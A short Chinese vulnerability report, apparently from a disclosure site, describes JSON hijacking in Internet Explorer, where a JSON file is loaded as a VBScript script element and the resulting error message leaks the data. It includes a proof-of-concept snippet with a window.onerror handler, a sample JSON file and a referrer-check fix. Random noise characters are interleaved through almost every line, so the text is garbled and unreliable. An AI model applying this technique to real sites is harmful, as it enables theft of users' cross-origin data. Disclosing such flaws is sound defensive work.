简要描述:0 g, {2 G/ [5 R* {% X
8 x$ {/ c; x7 B5 E. L由于某些资源容器对数据处理不当导致json劫持漏洞.. o7 O' y1 |/ Q# m% C4 z
详细说明:" j# D% K/ c9 f; o5 P
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
$ V! C- K3 L/ L! [& S& l4 O5 U) w<script language=vbscript></script>8 F; r& r1 R, e: s: ?0 j( ] K
8 l# y/ |9 U ?' u+ X @5 ^/ E' j
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据., G( [: `; }2 K, |, L
漏洞证明:8 O, C6 L8 Q4 m+ ]
<script>. [. {( U: k$ I2 q$ ]
window.onerror=function(_){: I6 n' U. y; N+ i# g
alert(_)7 d- y( s: P% e3 Z5 F4 K* i6 t
}- U% L* ], o5 T; i6 m% s
</script>) _- J" t) ^. O1 q" R
<script language=vbscript src=1.json></script>
2 p9 ]( F3 @2 ?
( a$ T- N9 q. ~/ f ' |3 g, ^$ ^$ y& W5 ~$ V/ f- @# D
1.json:# ]$ {7 t0 U l, L
[{"name":"sogili","age":19}]0 S/ U: a( s2 A3 T9 m
修复方案:
5 I6 S% d, W& U1 u2 E# O, K网站业务对于这个问题可以通过验证referrer是否为同源来防御 |